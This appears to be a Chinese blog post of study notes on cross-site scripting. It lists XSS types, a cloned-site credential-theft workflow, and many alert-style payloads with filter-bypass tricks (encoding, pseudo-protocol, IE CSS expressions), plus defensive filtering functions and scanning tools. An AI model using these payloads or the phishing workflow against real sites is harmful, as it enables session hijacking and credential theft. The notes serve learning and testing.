Web安全——XSS

XSS注入

介绍:

跨站脚本攻击(Cross Site Scripting)。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

分类

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

攻击

  1. 劫持cookie,身份伪造
  2. 篡改网页元素
  3. 指向流量URL
  4. 指向恶意URL(使用beef进行恶意链接生成,利用hook.js执行其他命令)

盗取用户信息

  1. 克隆网站(使用setookit克隆网站)
  2. 存储型XSS,跳转克隆网站
  3. 查看盗取的账号和密码

没有过滤的XSS

  1. 构造一个独一无二且不会被识别为恶意代码的字符串来提交页面
  2. 用开发者工具进行审查,查找字符串是否在页面中显示

闭合文本标签利用XSS

  • 简单的payload:<script>alert();</script>
  • 闭合标签payload:</b><script>alert()</script>

属性中的XSS

  • "><script>alert()</script>
  • " onmousover=alert()>

选择列表的XSS(select / option)

  • 结构:

    <select>

    <option value="1">选项1</option>

    <option value="2">选项2</option>

    </select>

  • 闭合触发XSS

    Japan</option><script>alert()</script>

hidden表单中的XSS

  • 抓包测试

SVG中的XSS

  • svg使用XML格式定义图像
  • 可嵌入HTML文档:<embed><object><iframe>,也可以使用svg标签插入
  • <svg 事件="">
  • 闭合触发XSS:"><svg onload=alert()>%0a

限制输入长度的XSS

  • input表单属性:value、readonly、disabled、size、maxlength
  • 使用开发者工具修改maxlength限制
  • payload触发XSS:"><svg/onload=alert()>%0a

HTML事件

  • 独一无二字符串提交,在响应中寻找。
  • 通过HTML事件触发XSS:" onmouseover="alert()"
  • 闭合input表单,加入<script>alert()</script>

空格分隔属性的XSS

  • 输入后,在input标签的value属性中回显
  • 输入:111" onmouseover="alert()

JavaScript伪协议的XSS

  • JS伪协议:将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。eg:javascript:alert("1");console.log("s")
  1. 发现漏洞:设置独一无二字符串,在相应中寻找
  2. 注入payload:javascript:alert("1");

绕过过滤domain为空的XSS

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 寻找过滤内容
  3. 绕过方法:
    1. 双写绕过:"> <script>alert(document.dodomainmain);</script>
    2. 编码绕过:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

绕过替换script和on事件XSS

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 寻找过滤内容
  3. 思考绕过策略
    1. 伪协议绕过:"> <a href=”javascript:alert(document.domain)”>xss</a>
    2. 空格绕过:"><a href="javascr ipt:alert(document.domain);">xss</a>"><a

利用IE特性绕过XSS过滤

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 基本XSS利用
  • IE特性:IE中,两个反引号( ` )可以闭合一个左边双引号
  1. Payload触发XSS:```οnmοusemοve="alert()`

利用CSS特性绕过XSS过滤

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 利用XSS(1.触发XSS 2.闭合input,利用外部标签触发)
  • background:url(“javascript:alert(document.domain);”);
  • (设置background:url,利用javascript执行js,目前IE支持,其他浏览器已不再支持)
  1. payload触发XSS:background-color:#f00; background:url("javascript:alert(document.domain);");

IE中利用CSS触发XSS

  • CSS中执行JS:css expression(css表达式),又称Dynamic properties(动态属性),是早期微软DHTML的产物,以其可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支持。

  • CSS中的注释:/**/

  • 绕过关键字expression的过滤:ex/**/pression

  • payload:xss:expres/**/sion( if( !window.x ){ alert(document.domain); window.x=1; } )

十六进制绕过过滤触发XSS

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 双斜杠 + 16进制绕过:\x3c <=> < , \x3e <=> >
  3. payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Unicode绕过过滤触发XSS

  1. 构造特殊无害字符串,响应中寻找字符串
  2. 双斜杠 + Unicode绕过:\u003c <=> <, \u003e <=> >
  3. payload: \u003cscript\u003ealert(document.domain);\u003cc/script\u003e

浏览器同源策略

  • 源是由协议、主机名、端口名组成。
  • IE源的特殊处理:
    1. 位于可信域(Trust Zones)的互信的域名间,不受同源策略限制。(SB IE!!!)
    2. IE在判断同源时不考虑端口。(SB IE!!!)

cookie的http-only设置

  • setcookie(“abc”, “test”, NULL, NULL, NULL, NULL, TRUE); 设置secure参数为true之后,就不能使用js获取cookie

XSS-filter过滤器介绍

  • htmlspecialchars(string,flags,character-set,double_encode)函数:把预定义的字符转换为HTML实体
  • htmlentitles(string,flags,character-set,double_encode)函数:将特殊字符转换为HTML实体。eg:<&lt;
  • strip_tags(string,allow)函数:剥去字符串中的 HTML、XML 以及 PHP 的标签
  • 自定义XSS filter

编码转义介绍

  • URL编码:(目的:不安全字符安全传输)

    • 考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。

    • 另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)

    • 百分号编码:**url编码包含一个百分号(%),后面跟着两个表示字符ASCII码的十六进制数。**例如:空格转为“%20”。

  • HTML编码:

    • 一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。
    • 实体编码:一般以“&”开头,“;”结尾,可以不加“;”。如:“<”转为“<”
    • 进制编码:以“&#”开头,加上字符的数值,“;”结尾,可以不加“;”。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。如:“<”转为十进制的“<”或十六进制的“<”。
  • JS编码:

    • 数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。如:“<”转为“\u003c”或“\x3c”。其中“\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。

请添加图片描述

XSS过滤器绕过

  • 白盒:找到过滤函数
  • kali自带字典,在CTF中常用
  • Burpsuite自动化探测
  • 关注最新的HTML内容,如H5中新增:video、audio标签

XSS发生位置

  • GET型URL中
  • POST型表单中
  • JSON中
  • 自定义HTTP头中

定向XSS挖掘

  • XSS可以存在于个人资料处、文章发表、留言评论
  • 黑名单审计:某些位置没有被实体化,可以进行XSS,但是被黑名单过滤
  • 绕过过滤,触发XSS

工具

  1. xsser

    • 启动:xsser --gtk
  2. XSStrike

    • 安装:git clone https://github.com/s0md3v/XSStrike.git
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值